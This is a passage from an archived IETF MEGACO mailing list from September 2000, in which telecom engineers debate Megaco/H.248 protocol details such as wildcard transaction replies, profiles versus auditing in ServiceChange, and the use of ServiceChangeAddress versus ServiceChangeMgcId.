> > > > C=1{Subtract=*{Statistics{...}, Statistics{...}....}.
> > > > C=2{...
> > > > ....
> > > >
> > > > -----Original Message-----
> > > > From: Christian Groves
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Sent: 9/3/00 9:22 PM
> > > > Subject: Transaction Reply Context=ALL, wilcard response
> > > >
> > > > G'Day all,
> > > >
> > > > Perhaps someone can provide a clarification.
> > > >
> > > > In the scenario where I do a
> > > > SUB(Context=ALL,Termination=?,),Wildcard-response.
> > > >
> > > > Do I get in the transaction reply?
> > > >
> > > > a)   a single TransactionReply[SUB(Context=ALL,Termination=?)]
> > > >
> > > > or
> > > >
> > > > b)   multiple commands replies
> > > >        TransactionReply[SUB(Context=1,Termination=?),
> > > >                         SUB(Context=2,Termination=?)
> > > >                         :
> > > >                         SUB(Context=*,Termination=?)
> > > >
> > > > There's some ambiguity in the text.
> > > >
> > > > Cheers, Christian
> > > >
> > > > Notice to Recipient:
> > > > This message is intended only for the use of the Addressee
> > > > and may contain information that is proprietary and confidential
> > > > and/or privileged by law. If you received this e-mail in error,
> > > > any review, use, dissemination, distribution or copying of this
> > > > e-mail is strictly prohibited. If you have received this e-mail in
> > > > error, please notify us immediately of the error by return e-mail
> > > > and please delete this message and all attachments from your system.
> > > > Thank you.
> > >
> > > --
> > > Regards,
> > >
> > > Shalini Philip
> > > Globespan Inc.
> > > E-Mail : mailto:sphilip@globespan.net
> > > Web    : http://www.globespan.net
> > >
>
> --
> John Segers                                  email: jsegers@lucent.com
> Lucent Technologies                                        Room HE 303
> Dept. Forward Looking Work                      phone: +31 35 687 4724
> P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687 5954


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep  7 04:23:50 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA13725
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 7 Sep 2000 04:23:47 -0400 (EDT)
Received: from standards (47.234.32.16:3526) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91179@standards.nortelnetworks.com>; Thu, 7 Sep 2000 4:08:37 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22123 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 7 Sep 2000 04:08:37 -0400
Received: from auemlsrv.firewall.lucent.com (auemail1.lucent.com) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB91178@standards.nortelnetworks.com>; Thu, 7 Sep 2000 4:08:37
          -0400
Received: from auemlsrv.firewall.lucent.com (localhost [127.0.0.1]) by
          auemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id EAA21245
          for <MEGACO@standards.nortelnetworks.com>; Thu, 7 Sep 2000 04:21:42
          -0400 (EDT)
Received: from nlmail.nl.lucent.com (h135-85-78-211.lucent.com [135.85.78.211])
          by auemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id
          EAA21205 for <MEGACO@standards.nortelnetworks.com>; Thu, 7 Sep 2000
          04:21:41 -0400 (EDT)
Received: from lucent.com (hzsgp35.nl.lucent.com [135.85.117.145]) by
          nlmail.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id KAA01144; Thu, 7 Sep
          2000 10:21:29 +0200 (MET DST)
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <353093573B82D411889E0000F808216648E336@zcard00q.ca.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B74FEC.19D7D294@lucent.com>
Date:         Thu, 7 Sep 2000 10:21:00 +0200
Reply-To: John Segers <jsegers@LUCENT.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: John Segers <jsegers@LUCENT.COM>
Organization: Lucent Technologies
Subject:      Re: Profiles in Service Change
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Pete,

I share your view that profiles cannot completely obviate the need for
auditing.  My concern is that they don't alleviate this need at all with
the current mechanisms for profiles (allowing only one) and auditing
(allowing an MGC to audit which packages are supported).

Actually, I think that there are two issues:
- If an MG reports that it supports a profile, the MGC knows about a set
  of packages that is supported and maybe some extra information
  (like termination naming).  The MG cannot indicate that it supports
more
  functionality than that defined in the profile.  So if there are MGs
and
  MGCs that support functionality beyond the profile, such MGs _always_
  have to audit to find out.
- A gateway has to sides.  Consider, for instance an ISDN to BICC GW.
  It is not unreasonable to define a profile for the ISDN terminations,
  including a naming scheme.  It is also not unreasonable to define a
  profile for the BICC network side.  If both profiles specify anything
  beyond the sets of packages that has to be supported, auditing may not
  give the MGC the capability to find out about this.

  It looks to me like we either have to restrict profiles to be no more
  than sets of packages, or we allow profiles to define more than this
  and find a way to convey information about supported functionality
  beyond sets of packages.

Cheers,

John

> Peter Blatherwick wrote:
>
> A couple of points to add to the below (I agree with reasoning and 1
> profile at a time rule):
>
> I do not expect profiles to completely get around auditing, merely
> make it a whole lot easier and more reliable.  If termination/package
> structure, minimum package support, naming conventions and so on are
> all agreed implicitly by the MGC accepting a profile, then audits are
> used only to find out what else a particular MG does, and audits can
> be much more specifically directed.  If an MGC wants to only support
> the minimum function, there may be no audits required at all in some
> cases (not the case in IP Phone BTW -- would still need to audit
> specific UI widgets supported by the UI termination).
>
> In the example of a Fax IP Phone, an alternative to creating a new
> profile extending IP Phone is for the device just to support the IP
> Phone profile and use MGC audits to discover there is additional fax
> support in the MG.  (Not too sure just what hypothetical package(s) we
> would need to add to make this so, but no worries about that here.)
> As long as the Fax IP Phone device follows the basic structure and
> rules of IP Phone, I don't see any interoperability trouble or
> ambiguity.
>
> Also, to re-iterate an earlier point, if we take it as given that
> profiles can define such things as assumed termination/package
> structure and naming conventions, then arbitrary mixing of multiple
> profiles is much more than understanding minimum required package
> support, and is a much trickier problem.  Mutually incompatible
> assumptions may be made by the multiple profiles, and then how to sort
> out the resulting ambiguity in the MGC and MG?  Yeti.  Without rules
> for profile definition we have no way to sort this out for multiple
> simultaneous profiles.  With the one profile at a time rule, the
> problem does not exist and yet we can still extend using additional
> packages within the overall structure defined by that profile.
>
> If it is desirable to create profiles that extend others (I think this
> would be a good thing), I submit we need to define formal definition
> rules to specify how this works, along the lines of what we did with
> packages.  To my mind this would be an extension of the Megaco/H.248
> Protocol, for version 2, not a job for the Implementer's Guide.  Same
> goes for re-defining profile in ServiceChange -- must be tied to
> specific rules.
>
> -- Peter
>
> -----Original Message-----
> From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> Sent: Wednesday, September 06, 2000 11:04
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Profiles in Service Change
>
> I think that if we need to have faxphones, then we need
> a profile for them, and there should be one way to do that,
> which would be an extension of the Ipphone profile.
>
> The real issue is, suppose you only had an MGC available that
> DID understand Ipphone, but did NOT understand Ipfaxphone.
>
> What is the right thing to do?
>  a) fail, because you can't fax, and a user may expect that
>  b) use the Ipphone protocol and cause a local error if
>         a user tried to fax
>  c) have local action (provisioning, or local configuration)
>         that disables the fax function
> I'm not really sure what the best answer is.  It's not
> obvious to me that there IS a good answer.  It's good to
> use the lowest common denominator to get service, but you
> really ought to disable fax at the local terminal (which
> could downgrade the profile).
>
> I do think you have raised another issue worth discussing,
> which is:
>         Should we create a new profile to add one feature,
>                 or should MGCs audit always?
>
> This also seems to me to not have an ideal answer:
>   Making tons of profiles to add features is clearly going to
>   give us lots of non-interoperable devices
>
>         but
>
>   auditing removes any usefulness of profiles for actual
>   operation of the protocol
>
> Brian
>
> > -----Original Message-----
> > From: John Segers [mailto:jsegers@LUCENT.COM]
> > Sent: Wednesday, September 06, 2000 10:48 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Profiles in Service Change
> >
> >
> > I agree to the underlying idea that profiles could be used to
> restrict
> > fragmentation.  On the other hand, I think that Christian has a
> point.
> > His example may have been unfortunate because it mentioned a call
> > signaling protocol, but the point is valid.
> >
> > Suppose that I want to build a MG that supports the IPphone
> > profile, and
> > I also build in IP fax support.  If my MG signals that it supports
> the
> > IPphone profile, the MGC infers that this MG supports a certain set
> of
> > packages and maybe some things that are optional in the base megaco
> > protocol.  It doesn't have a reason to audit the MG and find
> > out that it
> > can also do IP fax.  So how do I get the MGC to use the fax support
> > (other than by provisioning the MGC with this information)?
> >
> > John
> >
> > Flemming Andreasen wrote:
> > >
> > > OK - I'll buy that.
> > >
> > > -- Flemming
> > >
> > > "Rosen, Brian" wrote:
> > >
> > > > What is wrong is that it promotes proliferation of
> > > > many overlapping profiles.  Profiles are supposed to be
> > > > a way of reducing the variability that Packages provide,
> > > > so that one could reasonably expect to be able to find
> > > > interoperable MGs and MGCs.
> > > >
> > > > No one can legislate this (no protocol police...), but
> > > > we can encourage, or discourage proliferation of
> > > > many profiles that attempt to solve the same problem
> > > > different ways.  If you support 100 profiles, you may
> > > > as well just ignore the profile info and look at the
> > > > audited package list!
> > > >
> > > > I want to make it HARD to have more than one profile
> > > > per MG (not MGC).  Not impossible, just hard.  I think
> > > > that will encourage coalescing around a small number of
> > > > profiles for specific purposes that all relevant MGs and
> > > > MGCs support, which in turn will make the protocol successful.
> > > >
> > > > What I fear is balkanization by proliferation of profiles,
> > > > which leads to non-interoperable devices.  It would be non
> > > > interoperable because there were no common profiles, rather
> > > > that if you found a common one, it wouldn't work.  The
> > > > package mechanism is a wonderful way to have all sorts of
> > > > extensions and features in MGs.  The profile mechanism was
> > > > designed to provide a way to corral the easy expansion into
> > > > more limited groups of options.  Generally, successful
> > > > protocols are not easy "bent" in many different ways -> you
> > > > get ONE way, and everyone does it that way, and the world
> > > > is better for it.  The package thing is great, but it is
> > > > a danger.  The profile is the only way I know to limit it's
> > > > potential to undermine the effectiveness of the protocol.
> > > >
> > > > Brian
> > > >
> > > > > -----Original Message-----
> > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > Sent: Wednesday, September 06, 2000 10:01 AM
> > > > > To: Michael P DiGioia
> > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM; Christian Groves;
> > > > > Rosen, Brian
> > > > > Subject: Re: Profiles in Service Change
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > Michael P DiGioia wrote:
> > > > >
> > > > > > Brian,
> > > > > >
> > > > > > > > So does that mean that nobody can make an MG which
> > > > > supports more than
> > > > > > > > one profile? :-)
> > > > > >
> > > > > > >One way to get around the limitation is to try to get
> > > > > > >service using the most "featurefull" profile.  If you fail
> > > > > > >to find an MGC that can serve that profile, try again with
> > > > > > >a different profile.
> > > > > >
> > > > > > I agree. I believe the point is that any one MG can support
> > > > > one or more
> > > > > > profile, however, once the most featurefull profile is
> > > > > found to be accepted
> > > > > > by an MGC, use it.
> > > > >
> > > > > I disagree as Brian's comments assumes a meaningful ordering
> > > > > relation between
> > > > > (at least a resonable subset of) profiles based on some set
> > > > > of features
> > > > > supported. I don't see that. Christian's proposal of allowing
> > > > > a listing of
> > > > > profiles seemed pretty good to me - what was wrong with
> > this again ?
> > > > >
> > > > > -- Flemming
> > > > >
> > > > > >
> > > > > >
> > > > > > What we build into our IpPhone MG is our choice. I don't
> > > > > believe this limits
> > > > > > us in any way. If so, how?
> > > > > >
> > > > > > /mpd
> > > > >
> > > > > --
> > > > > Flemming Andreasen
> > > > > Cisco Systems
> > > > >
> > > > >
> > >
> > > --
> > > Flemming Andreasen
> > > Cisco Systems
> >
> > --
> > John Segers                                  email:
> jsegers@lucent.com
> > Lucent Technologies                                        Room HE
> 303
> > Dept. Forward Looking Work                      phone: +31 35 687
> 4724
> > P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687
> 5954
> >

--
John Segers                                  email: jsegers@lucent.com
Lucent Technologies                                        Room HE 303
Dept. Forward Looking Work                      phone: +31 35 687 4724
P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687 5954


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep  7 09:14:06 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA15779
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 7 Sep 2000 09:13:58 -0400 (EDT)
Received: from standards (47.234.32.16:2895) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB911EC@standards.nortelnetworks.com>; Thu, 7 Sep 2000 8:58:42 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22269 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 7 Sep 2000 08:58:42 -0400
Received: from hd2.dot.net.in (hd2.vsnl.net.in) by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB911EB@standards.nortelnetworks.com>; Thu, 7 Sep 2000 8:58:40
          -0400
Received: from hyd.chiplogic.com ([203.197.20.10]) by hd2.dot.net.in
          (8.8.8/8.8.8) with ESMTP id SAA11125 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Thu, 7 Sep 2000 18:37:59 +0530
          (IST)
Received: from chiplogic.com ([192.168.2.61]) by hyd.chiplogic.com
          (8.8.7/8.8.7) with ESMTP id SAA01047 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Thu, 7 Sep 2000 18:33:57 +0530
X-Mailer: Mozilla 4.5 [en]C-CCK-MCD {TLC;RETAIL}  (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B79206.DAED9BB0@chiplogic.com>
Date:         Thu, 7 Sep 2000 18:33:02 +0530
Reply-To: SSM <ssm@CHIPLOGIC.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: SSM <ssm@CHIPLOGIC.COM>
Organization: CHIPLOGIC
Subject:      TerminationID in ASN1
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hi,
With reference to text in section 6.2.2
" ........The TerminationIDs may be chosen to have structure.  For
   instance, a TerminationID may consist of trunk group and a trunk
   within the group."

If  a MG has one TDM termination (w.r.t ABNF) the above
statement can be achieved.as follows:
T1/2 , T1/2 etc.

How is the same achieved in ASN1 ?


Thanks in advance
-sanjeev


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep  7 09:14:10 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA15786
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 7 Sep 2000 09:14:07 -0400 (EDT)
Received: from standards (47.234.32.16:2895) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB911FB@standards.nortelnetworks.com>; Thu, 7 Sep 2000 8:59:37 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22286 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 7 Sep 2000 08:59:37 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB911FA@standards.nortelnetworks.com>; Thu, 7 Sep 2000 8:59:36
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA06313; Thu, 7 Sep 2000 09:12:39 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA15444; Thu, 7 Sep 2000 09:12:42 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <SKAZ6M69>; Thu, 7 Sep 2000 09:12:36 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C018CD.4A4ADC5A"
Message-ID:  <4FBEA8857476D311A03300204840E1CF678826@whq-msgusr-02.pit.comms.marconi.com>
Date:         Thu, 7 Sep 2000 09:12:31 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         Tom-PT Taylor <taylor@nortelnetworks.com>,
              Bharat Kaul <bharat@trillium.com>,
              Flemming Andreasen <fandreas@cisco.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C018CD.4A4ADC5A
Content-Type: text/plain;
        charset="iso-8859-1"

NO!!!! The MG doesn't care at all.


-----Original Message-----
From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
Sent: Wednesday, September 06, 2000 7:04 PM
To: 'Bharat Kaul'; Rosen, Brian; 'Flemming Andreasen'
Cc: megaco@standards.nortelnetworks.com
Subject: RE: Supplying only a port on a ServiceChangeAddress


Does it really matter whether the MG knows that it is talking to the same or
a new entity?

-----Original Message-----
From: Bharat Kaul [mailto:bharat@trillium.com]
Sent: Wednesday, September 06, 2000 6:34 PM
To: 'Rosen, Brian'; Taylor, Tom-PT [NORSE:B901:EXCH]; 'Flemming Andreasen';
Bharat Kaul
Cc: megaco@standards.nortelnetworks.com
Subject: RE: Supplying only a port on a ServiceChangeAddress


I also agree with what seems to be the evolving consensus.

However, we might to have evaluate the choice of IP Address being present as
part of ServiceChangeAddress more carefully before disallowing it.

The case in point being an entity wanting to redirect the conversation on a
particular interface and a port or current interface and a particular port.
For first case, we need to allow presence of IP Address. For second case, we
are fine with port. So effectively, it boils down to using
ServiceChangeMgcId.
It might be  a requirement that MG  receiving the parameter  knows exactly
that it has been asked to communicate on other interface with the same MGC
and hasn't been redirected to a altogether new MGC otherwise the MG might
interpret them as two separate entities which is not a correct picture.

Any comments on  this ?

- Bharat


-----Original Message-----
From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
Sent: Wednesday, September 06, 2000 11:12 AM
To: 'Tom-PT Taylor'; 'Flemming Andreasen'; Bharat Kaul
Cc: megaco@standards.nortelnetworks.com
Subject: RE: Supplying only a port on a ServiceChangeAddress





OK, I'd say we have consensus on the following:

(1) As oft repeated, the mId designates a peer in a control session.  It
does not change even if the addresses used in the session change.  Different
port addresses could be used to designate different virtual MGs, but this is
a local implementation issue.

I'm assuming here that you mean mId, the thing that goes in every message,
and that there is no arbitrary changing of it - changes get signalled in
ServiceChange.  mId serves to identify which association this message refers
to.  Given those caveats, I agree.

(2) ServiceChangeAddress can be used to change the address to which the peer
sends requests within the existing control session.  The ABNF syntax of
ServiceChangeAddress is VALUE, which permits designation of a port only
within a quoted string.  The difference between this and the ASN.1 syntax is
what started this whole thread, but is irrelevant because the functionality
is still available.  There is the legitimate question of whether the
ServiceChangeAddress functionality is needed.  I'm not sure I have consensus
to deprecate use of ServiceChangeAddress.

I'd like to see if we could develop a consensus, but I can live with it.

I'm still concerned about the difficulty of changing address, or port, with
TCP transport.  We need at least a note of caution in the Implementers
Guide.

(3) ServiceChangeMGgcId is used to redirect the control session.  The ABNF
type of ServiceChangeMgcId is MId, which presumably is why MId is so
carefully developed as an address.

Yes!

There is an open issue regarding TCP.  That is, is everyone prepared to
accept the restriction Bharat wants to place on TCP, to the effect that the
MG is never a listener?

Yes!

Brian

> -----Original Message-----
> From: Flemming Andreasen [ mailto:fandreas@cisco.com
<mailto:fandreas@cisco.com> ]
> Sent: Wednesday, September 06, 2000 10:39 AM
> To: Rosen, Brian; Taylor, Tom-PT [NORSE:B901:EXCH]; Bharat Kaul
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Supplying only a port on a ServiceChangeAddress
>
>
> So do we have any consensus resolution on this issue ?
>
> -- Flemming
>
> "Rosen, Brian" wrote:
>
> > Yeah, the mId started life as the thing in the header that let an
> > MGC know which entity it was talking to.  It's always been an
> > address though - desirable as an FQDN and acceptable to be a hard
> > address.
> >
> > The intention of ServiceChangeMid was to be the referral
> address for an
> > association that was not acceptable to the MGC.
> ServiceChangeAddress used
> > to be port, and it was just for changing port numbers, not
> addresses.  We
> > went downhill (IMO) from there.
> >
> > I'm with Flemming, one thing is all we need, but we are
> stuck with 2 for
> > now.
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Tom-PT Taylor [ mailto:taylor@NORTELNETWORKS.COM
<mailto:taylor@NORTELNETWORKS.COM> ]
> > > Sent: Tuesday, September 05, 2000 3:16 PM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > >
> > >
> > > I think we agree that MId is just an identifier of a peer
> in a control
> > > session.  I still ask myself why we defined it to be an
> > > address rather than
> > > an arbitrary string.  I suspect we changed intentions since
> > > it first showed
> > > up.
> > >
> > > > -----Original Message-----
> > > > From: Flemming Andreasen [ mailto:fandreas@CISCO.COM
<mailto:fandreas@CISCO.COM> ]
> > > > Sent: Tuesday, September 05, 2000 3:12 PM
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > >
> > > >
> > > > Bharat Kaul wrote:
> > > >
> > > > > Hi Flemming, Brian and List,
> > > > >
> > > > >   ServiceChangeMGCId should be kept for contacting a new
> > > > MGC or rather
> > > > > establishing new control Session.
> > > > >
> > > > > ServiceChangeAddress is for redirection within a MGC e.g.
> > > > MG contacts MGC at
> > > > > a default port and based on some policy MGC wants to assign
> > > > MG to a specific
> > > > > port, it should send ServiceChangeAddress specifying the
> > > > port.These two
> > > > > semantics seem clear and fair enough.
> > > >
> > > > I quite frankly don't understand the need for having port as
> > > > an identifier and
> > > > then being able to specify another port to override it, while
> > > > keeping the
> > > > identifier port the same.
> > > >
> > > >
> > > > >
> > > > >
> > > > > Port in MID should be just a tool to identify an entity
> > > > uniquely, with one
> > > > > requirement that MID for a control session is consistent
> > > between two
> > > > > entities.
> > > >
> > > > In that case it should be called something different than a
> > > > port, or at least be
> > > > treated as something different.
> > > >
> > > > -- Flemming
> > > >
> > > >
> > > > >
> > > > >
> > > > > - Bharat
> > > > >
> > > > > -----Original Message-----
> > > > > From: Flemming Andreasen [ mailto:fandreas@CISCO.COM
<mailto:fandreas@CISCO.COM> ]
> > > > > Sent: Tuesday, September 05, 2000 8:29 AM
> > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > >
> > > > > Let's take a step back here and ask ourselves what we are
> > > > trying to achieve:
> > > > >
> > > > > 1. We have a need to identify the entity we wish to
> > > communicate with
> > > > > 2. We have a need to communicate with that entity.
> > > > >
> > > > > This is a classical naming issue that doesn't need to
> > > become overly
> > > > > complicated. In order to get from the name in 1 to the
> > > > address (or route) in
> > > > > 2, you need to perform name resolution in the cases where
> > > > the name itself is
> > > > > not an address. For domain names, this name resolution is
> > > > achieved by DNS,
> > > > > for IP-addresses, it should normally be a NOP. By having both
> > > > > ServiceChangeMGGId and ServiceChangeAddress, you are
> > > > effectively providing
> > > > > an alternate name resolution mechanism which overrides DNS
> > > > and allows one
> > > > > IP-address to map to another. We should not be doing that,
> > > > and I also note
> > > > > that this was probably not the authors' intent, since
> > > > ServiceChangeAddress
> > > > > and ServiceChangeMGCId are not both allowed in a
> single command.
> > > > >
> > > > > That still leaves open the question of exactly what
> > > > ServiceChangeAddress
> > > > > then is, and I believe Brian answered that earlier with his
> > > > two proposals.
> > > > > In a perfect world, I would prefer getting rid of
> > > > ServiceChangeAddress, but
> > > > > we may be beyond that. Does it make sense to allow just a
> > > > port number then ?
> > > > > Considering that we already allow for port in mId, port is
> > > > part of the name
> > > > > and for the same reasons as we shouldn't map one IP-address
> > > > to another, we
> > > > > shouldn't map one port to another either IMO. If the MGC
> > > > (or MG) wants the
> > > > > other party to talk to it on another port, it simply sends
> > > > back another
> > > > > ServiceChangeMGCId with that port number in it.
> > > > >
> > > > > -- Flemming
> > > > >
> > > > > "Rosen, Brian" wrote:
> > > > >
> > > > > > It depends on what you want to have happen.
> > > > > >
> > > > > > If you want the MG, on receipt of a reply with a
> > > > ServiceChangeAddress,
> > > > > > to tear down it's current transport connection, create
> > > a new one,
> > > > > > and stand by for messages from the MGC, then I suppose
> > > > you would be
> > > > > > correct.
> > > > > >
> > > > > > If it was TCP (and I guess SCTP), this is pretty weird,
> > > > because the
> > > > > > MG established a full duplex connection, but the
> next message is
> > > > > > almost certainly from the MGC.  The MGC is going to have
> > > > to watch for
> > > > > > this carefully, and not send messages until the new
> > > channel is up.
> > > > > >
> > > > > > Or, the MGC can just use ServiceChangeMid.  The MG will
> > > respond by
> > > > > > tearing down the transport, establishing a new one,
> and sending
> > > > > > a new ServiceChange.  The MGC "fires and forgets" -- the new
> > > > > > ServiceChange, at the "new" address, looks like a
> > > > complete new start.
> > > > > >
> > > > > > Brian
> > > > > >
> > > > > > -----Original Message-----
> > > > > > From: Christian Groves
> > > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > Sent: 9/3/00 7:38 PM
> > > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > > >
> > > > > > G'Day Brian and Flemming,
> > > > > >
> > > > > > I saw that the difference between when you use
> > > > ServiceChangeAddress and
> > > > > > ServiceChangeMid was that the ServiceChangeAddress was
> > > > used when talking
> > > > > > to an already contacted physical MGC. The
> > > > ServiceChangeMid was used to
> > > > > > contact a physically seperate MGC. So I don't see
> the need of
> > > > > > disallowing anything but the port in IP as the MGC may
> > > > have a range of
> > > > > > addresses.
> > > > > >
> > > > > > Cheers, Christian
> > > > > >
> > > > > > "Rosen, Brian" wrote:
> > > > > > >
> > > > > > > I thought you might say that, I've been thinking about it
> > > > > > > since I sent the message.
> > > > > > >
> > > > > > > Posing the question slightly differently, if the
> > > > ServiceChangeAddress
> > > > > > > can do what ServiceChangeMid can do, so why have two
> > > mechanisms?
> > > > > > > The only difference would be the MGs actions.  If you used
> > > > > > > ServiceChangeAddress,
> > > > > > > the MG would not send a new ServiceChange command to
> > > > the new address.
> > > > > > > If you used ServiceChangeMid, it would.  The end result
> > > > would be the
> > > > > > same.
> > > > > > >
> > > > > > > We can:
> > > > > > >         Explicitly disallow ServiceChangeAddress from
> > > > being used to
> > > > > > >                 change anything but IP Port when
> used with IP
> > > > > > >         Get rid of one of the two of them
> > > > > > >
> > > > > > > I favor the former, as that is easiest, is most
> > > consistent with
> > > > > > > history, and makes the most sense to me.  I'll
> note that what
> > > > > > > we call ServiceChangeAddress used to be "port".  It got
> > > > > > > changed when we realized "port" wouldn't make
> sense if it was
> > > > > > > not an IP transport.
> > > > > > >
> > > > > > > Brian
> > > > > > >
> > > > > > > > -----Original Message-----
> > > > > > > > From: Flemming Andreasen [ mailto:fandreas@cisco.com
<mailto:fandreas@cisco.com> ]
> > > > > > > > Sent: Tuesday, August 29, 2000 7:37 PM
> > > > > > > > To: Rosen, Brian
> > > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > > Subject: Re: Supplying only a port on a
> ServiceChangeAddress
> > > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > > "Rosen, Brian" wrote:
> > > > > > > >
> > > > > > > > > I think the issue is that you can have the same MGC
> > > > have multiple
> > > > > > > > > IP addresses.  You accept the association, but
> > > > change the address.
> > > > > > > > > Say, a pool of servers appearing to be one MGC.
> > > > > > > >
> > > > > > > > I'm not sure I fully understand what an
> association is then.
> > > > > > > > What's the
> > > > > > > > difference/relationship between the association
> > > > address and the
> > > > > > > > ServiceChangeMgcId (which may itself contain an
> address or
> > > > > > indirectly
> > > > > > > > refer to a number of addresses through DNS) ?
> > > > > > > >
> > > > > > > > -- Flemming
> > > > > > > >
> > > > > > > >
> > > > > > > > >
> > > > > > > > >
> > > > > > > > > Brian
> > > > > > > > >
> > > > > > > > > > -----Original Message-----
> > > > > > > > > > From: Flemming Andreasen [ mailto:fandreas@cisco.com
<mailto:fandreas@cisco.com> ]
> > > > > > > > > > Sent: Tuesday, August 29, 2000 6:38 PM
> > > > > > > > > > To: Rosen, Brian
> > > > > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > > > > Subject: Re: Supplying only a port on a
> > > > ServiceChangeAddress
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > > > > "Rosen, Brian" wrote:
> > > > > > > > > >
> > > > > > > > > > > Suppose all you want to specify in a
> > > > ServiceChangeAddress
> > > > > > > > > > is a port number
> > > > > > > > > > > that is, the IP address doesn't change, but the
> > > > port does.
> > > > > > > > > > >
> > > > > > > > > > > The ABNF sez:
> > > > > > > > > > > serviceChangeAddress =
> > > > ServiceChangeAddressToken EQUAL VALUE
> > > > > > > > > > >
